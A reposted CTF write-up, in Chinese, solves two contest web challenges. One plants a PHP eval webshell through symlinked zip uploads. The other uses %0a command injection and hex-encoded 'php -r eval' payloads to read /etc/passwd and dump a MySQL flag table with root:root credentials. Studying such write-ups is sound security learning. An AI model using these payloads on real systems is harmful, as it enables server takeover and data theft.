当前位置: 首页 > news >正文

2023、2024国赛web复现wp

2023

Unzip

类型:任意文件上传漏洞

主要知识点:软链接

随便上传一个一句话木马文件,得到一串php代码

根据代码上传zip文件发现进入后还是此页面

代码审计:

 <?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
#创建一个新的文件资源用来确定文件的MIME类型
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
#上传的代码如果是MIME类型为application/zip的文件,将被解压到/tmp目录
#unzip -o:不必先询问用户,unzip执行后覆盖原有的文件;//only this! 

上传的文件被解压到/tmp目录并且我们发现代码中没有include和require说明不能执行文件里的代码

扩展:

include:当使用Include指令包含文件时,如果文件不存在或者有语法错误,PHP将生成一个警告(Warning)级别的错误,并且脚本将继续执行。

require:require也是用于包含文件。但是,如果文件不存在或者有语法错误,PHP将生成一个致命错误(Fatal Error),并且脚本执行会立即停止。

因此要想执行文件的代码我们就不能将文件放入/tmp目录,此时就需要用到软链接将文件放入任意目录下从而执行文件中的一句话木马

软链接:

软链接(Symbolic Link),也称为符号链接,是包含了源文件位置信息的特殊文件,用Linux中的命令执行。它的作用是间接指向一个文件或目录,也就是为文件在另一个地方建立一个同步的链接。如果软链接的源文件被删除或移动了,软链接就打不开了。

优点:

  • 软链接可以跨越不同的文件系统,因为它们只存储了路径信息,而不依赖于inode号。
  • 软链接可以用于目录,因为它们不会导致目录结构的混乱和循环引用。
  • 软链接可以反映原文件的变化,例如修改时间和权限等。

使用场景:

  • 当需要为不同位置或不同文件系统的文件或目录创建快捷方式时,可以使用软链接。
  • 当需要创建动态的文件或目录关联时,可以使用软链接。
  • 当需要保留原文件的属性和变化时,可以使用软链接。

创建一个指向/var/www/html目录的软链接(html目录下是web环境)

ln -s /var/www/html/ link

#为/var/www/html目录创建一个软链接link

压缩软链接

zip --symlinks link1.zip link

#将软链接link压缩为link1.zip文件

创建一个link目录

rm link

#防止系统中有link目录,造成冲突

mkdir link

#创建link目录

进入link目录,放入一个一句话木马文件shell.php

退出link目录,将link目录里的文件和目录本身全部压缩为link2.zip

上面由于放在用户目录里比较不直观将其放在一个文件夹中(这一步没有实际作用仅展示创建结果,同时也是方便放到windows界面)

先传上link1.zip再传上link2.zip(一定要先1后2),然后访问shell.php发现成功执行一句话木马

因此我们将一句话木马改为<?php eval($_POST[shell]);?>

上传后

接下去用命令执行或者用蚁剑连接

得到flag

2024

simple_php

代码审计:

escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符。正则匹配绕过了一堆字符。POST请求传入了一个参数cmd进行system()命令的执行。

思路一:

尝试用%0a进行绕过

用bp抓包

l%0as /

发现绕过成功,但没发现疑似flag的文件,根据经验用户的必要信息一般会放在/etc/passwd中(可能会有flag)

补充:

/etc/passwd保存了所有用户的用于读取的必要信息,包括用户的①名称②登录口令情况③用户ID④所属组ID⑤用户的全称等其它详细信息⑥用户的home目录⑦用户的默认登录shell。

扩展:

在早期,加密的密码的确是存在/etc/passwd文件中的,后面为了安全性考虑。将加密的密码文件存在了/etc/shadow(影子口令文件)中了。

 进入/etc/passwd查看

c%0aat /etc/passwd

发现还是没有flag但是发现了一个mysql用户,flag可能在数据库中

 思路二:

直接用paste命令或rev命令

paste /etc/passwd

#paste命令可以将每个文件的行以列的形式加以合并并输出。

rev /etc/passwd

#rev命令可以将文件中的内容以逆序的方式显示出来。

根据经验会直接尝试查看/etc/passwd这个目录有没有泄露

查看数据库(数据库默认信息:账号:root —— 密码:root,管理员账号需要自定义。)

执行shell命令

php -r eval(echo `mysql -u root -p'root' -e 'show databases;'`;);

#php -r:在PHP中,-r命令行选项允许你直接从命令行执行PHP代码,而不需要将代码写入一个文件。

由于escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符所以我们将shell命令转化为hax值(用base64不可行)

构造payload:

php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d65202773686f77206461746162617365733b27603b,1)));

#hex2bin():将16进制转化为ASCII

查看PHP_CMS数据库

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;

#use PHP_CMS:sql语句使用PHP_CMS数据库

构造payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));

发现可能有flag的表,查看F1ag_Se3Re7

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;

构造payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a20

66726f6d20463161675f5365335265373b27603b,1)));

相关文章:

2023、2024国赛web复现wp

2023 Unzip 类型&#xff1a;任意文件上传漏洞 主要知识点&#xff1a;软链接 随便上传一个一句话木马文件&#xff0c;得到一串php代码 根据代码上传zip文件发现进入后还是此页面 代码审计&#xff1a; <?php error_reporting(0); highlight_file(__FILE__);$finfo fin…...

day34 贪心算法 455.分发饼干 376. 摆动序列

贪心算法理论基础 贪心的本质是选择每一阶段的局部最优&#xff0c;从而达到全局最优。 贪心一般解题步骤&#xff08;贪心无套路&#xff09;&#xff1a; 将问题分解为若干个子问题找出适合的贪心策略求解每一个子问题的最优解将局部最优解堆叠成全局最优解 455.分发饼干 …...

养老院管理系统基于springboot的养老院管理系统java项目

文章目录 养老院管理系统一、项目演示二、项目介绍三、系统部分功能截图四、部分代码展示五、底部获取项目源码&#xff08;9.9&#xffe5;带走&#xff09; 养老院管理系统 一、项目演示 养老院管理系统 二、项目介绍 基于springboot的养老院管理系统 角色&#xff1a;超级…...

跳台阶扩展问题

题目链接 f(1) 1f(2) 1 1 2f(3) 1 2 1 4f(4) 1 2 4 1 8 所以 f(n) 2 n − 1 ^{n-1} n−1 import java.util.Scanner;public class Solution {public int jumpFloorII(int target) {return 1 << (target - 1);} }...

超清高帧,成像升级 | SWIR短波红外相机500万像素992芯片

博图光电5MP短波红外相机&#xff0c;搭载了索尼IMX992 SenSWIR传感器&#xff0c;支持5.2MP分辨率&#xff0c;适合探测波长在400nm-1700nm波段的可见光和短波红外光&#xff0c;有效面积和透光率得到提升&#xff0c;内置TEC制冷片&#xff0c;实现了像素尺寸和图像均匀性方面…...

攻击渗透思考题

1. windows登录的明文密码&#xff0c;存储过程是怎么样的&#xff0c;密文存在哪个文件下&#xff0c;该文件是否可以打开&#xff0c;并且查看到密文 在Windows操作系统中&#xff0c;登录时输入的明文密码不会以明文形式存储在系统中。相反&#xff0c;Windows使用一种称为“…...

Flutter 中的 Opacity 小部件:全面指南

Flutter 中的 Opacity 小部件&#xff1a;全面指南 在Flutter中&#xff0c;动画和视觉效果是提升用户体验的重要手段。Opacity小部件允许你改变子组件的透明度&#xff0c;从而实现淡入、淡出或其它透明度相关的动画效果。本文将提供Opacity的全面指南&#xff0c;帮助你了解…...

【介绍下如何在SQL中添加数据】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…...

【Linux学习】深入了解Linux中进程状态及其转换

文章目录 进程状态进程排队进程的状态&#xff08;运行&#xff0c;阻塞&#xff0c;挂起&#xff09;进程的七个状态 孤儿进程 进程状态 进程 task_struct 可执行程序 进程不是一 直在运行的&#xff0c;可能在等待软硬件资源&#xff0c;比如scanf后&#xff0c;程序停止运…...

【Python设计模式11】建造者模式

建造者模式&#xff08;Builder Pattern&#xff09;是一种创建型设计模式&#xff0c;它将一个复杂对象的构建过程分离出来&#xff0c;使得同样的构建过程可以创建不同的表示。建造者模式通过使用多个简单的对象一步一步构建成一个复杂的对象。 建造者模式的结构 建造者模式…...

coredump文件生成配置

1.打开coredump文件生成开关 查看开关是否打开&#xff1a;ulimit -a 如果core file size 为0&#xff0c;则为关闭。 执行&#xff1a;ulimit -c 10240 将其coredump文件大小设置。 2.coredump文件保存位置&#xff1a; /proc/sys/kernel/core_pattern文件可以控制core文…...

jmeter线程组(下篇)

线程组 线程组作为JMeter测试计划的核心组件之一&#xff0c;对于模拟并发用户的行为至关重要。线程组元件是整个测试计划的入口&#xff0c;所有的取样器和控制器必须放置在线程组下。 可以将线程组视为一个虚拟用户池&#xff0c;其中每个线程可被理解为一个虚拟用户&#x…...

Stable Diffusion【写实模型】:逼真,逼真,超级逼真的国产超写实摄影大模型万享XL

今天和大家分享的是一个国产万享系列中使用量最高的大模型:万享XL_超写实摄影&#xff0c;顾名思义&#xff0c;该大模型主要是面向写实摄影&#xff0c;一方面生成的图片人物皮肤纹理细节超级逼真&#xff0c;另一方面对于光影效果的处理也非常到位。对于万享XL超写实摄影大模…...

Android 13 配置默认DN

需求&#xff1a; 如果存在用户配置的DNS服务器&#xff0c;则切面拦截运行商下发的DNS,替换为用户自己配置的DNS. 实现&#xff1a; 直接上代码&#xff1a; 1:TelephonyProperties 内新增属性保存用户设置的dns //QSSI.13/frameworks/base/telephony/java/com/android/in…...

系统开发与运行知识

系统开发与运行知识 导航 文章目录 系统开发与运行知识导航一、软件工程二、软件生命周期三、开发模型四、开发方法五、需求分析结构化分析 六、数据流图分层数据流图的画法设计注意事项 七、数据字典数据字典的内容 八、系统设计九、结构化设计常用工具十、面向对象十一、UML…...

算法训练 | 二叉树Part1 | 递归遍历、迭代遍历、统一迭代

目录 递归遍历 前序遍历 迭代遍历 前序遍历&#xff08;迭代法&#xff09; 中序遍历&#xff08;迭代法&#xff09; 后序遍历&#xff08;迭代法&#xff09; 统一迭代法 统一迭代 嵌入式学习分享个人主页&#xff1a;Orion嵌入式随想录 - 小红书 (xiaohongshu.com) …...

AcWing 2568:树链剖分 ← 线段树+DFS

【题目来源】https://www.acwing.com/problem/content/2570/【题目描述】 给定一棵树&#xff0c;树中包含 n 个节点&#xff08;编号 1∼n&#xff09;&#xff0c;其中第 i 个节点的权值为 ai。 初始时&#xff0c;1 号节点为树的根节点。 现在要对该树进行 m 次操作&#xf…...

PCIe协议之-DLLP详解

✨前言&#xff1a; &#x1f31f;数据链路层的功能 数据链路层将从物理层中获得报文&#xff0c; 并将其传递给事务层&#xff1b; 同时接收事务层的报文&#xff0c; 并将其转发到物理层; 核心的功能有以下三点 1.保证TLP在 PCIe 链路中的正确传递; 2.数据链路层使用了容错…...

Jmeter+prometheus+grafana性能测试

文章目录 Jmeterprometheusgrafana性能测试背景目标设计思路原理案例启发 Jmeterprometheusgrafana性能测试 背景 ​ 在现代社会中&#xff0c;人们对于应用程序的响应速度和性能体验提出了越来越高的要求。无论是电子商务网站、社交媒体平台还是企业级软件系统&#xff0c;都…...

Hololens 2 新建自定义按钮

官方链接地址 1、创建Cube 2、添加PressableButton脚本&#xff0c;并点击AddNearin… 3、把Cube拖入到MovingButtonVisuals变量中 4、点击NearInteractionTouchable组件&#xff08;这个组件是添加和上一个脚本绑定的&#xff0c;自动添加上来的&#xff09;上的Fix… 5、…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

Opencv中的addweighted函数

一.addweighted函数作用 addweighted&#xff08;&#xff09;是OpenCV库中用于图像处理的函数&#xff0c;主要功能是将两个输入图像&#xff08;尺寸和类型相同&#xff09;按照指定的权重进行加权叠加&#xff08;图像融合&#xff09;&#xff0c;并添加一个标量值&#x…...

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台

🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f608;sinx波动的基本原理 三、&#x1f608;波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、&#x1f30a;波动优化…...

稳定币的深度剖析与展望

一、引言 在当今数字化浪潮席卷全球的时代&#xff0c;加密货币作为一种新兴的金融现象&#xff0c;正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而&#xff0c;加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下&#xff0c;稳定…...

淘宝扭蛋机小程序系统开发:打造互动性强的购物平台

淘宝扭蛋机小程序系统的开发&#xff0c;旨在打造一个互动性强的购物平台&#xff0c;让用户在购物的同时&#xff0c;能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机&#xff0c;实现旋转、抽拉等动作&#xff0c;增…...

数据结构第5章:树和二叉树完全指南(自整理详细图文笔记)

名人说&#xff1a;莫道桑榆晚&#xff0c;为霞尚满天。——刘禹锡&#xff08;刘梦得&#xff0c;诗豪&#xff09; 原创笔记&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 上一篇&#xff1a;《数据结构第4章 数组和广义表》…...

TJCTF 2025

还以为是天津的。这个比较容易&#xff0c;虽然绕了点弯&#xff0c;可还是把CP AK了&#xff0c;不过我会的别人也会&#xff0c;还是没啥名次。记录一下吧。 Crypto bacon-bits with open(flag.txt) as f: flag f.read().strip() with open(text.txt) as t: text t.read…...

TCP/IP 网络编程 | 服务端 客户端的封装

设计模式 文章目录 设计模式一、socket.h 接口&#xff08;interface&#xff09;二、socket.cpp 实现&#xff08;implementation&#xff09;三、server.cpp 使用封装&#xff08;main 函数&#xff09;四、client.cpp 使用封装&#xff08;main 函数&#xff09;五、退出方法…...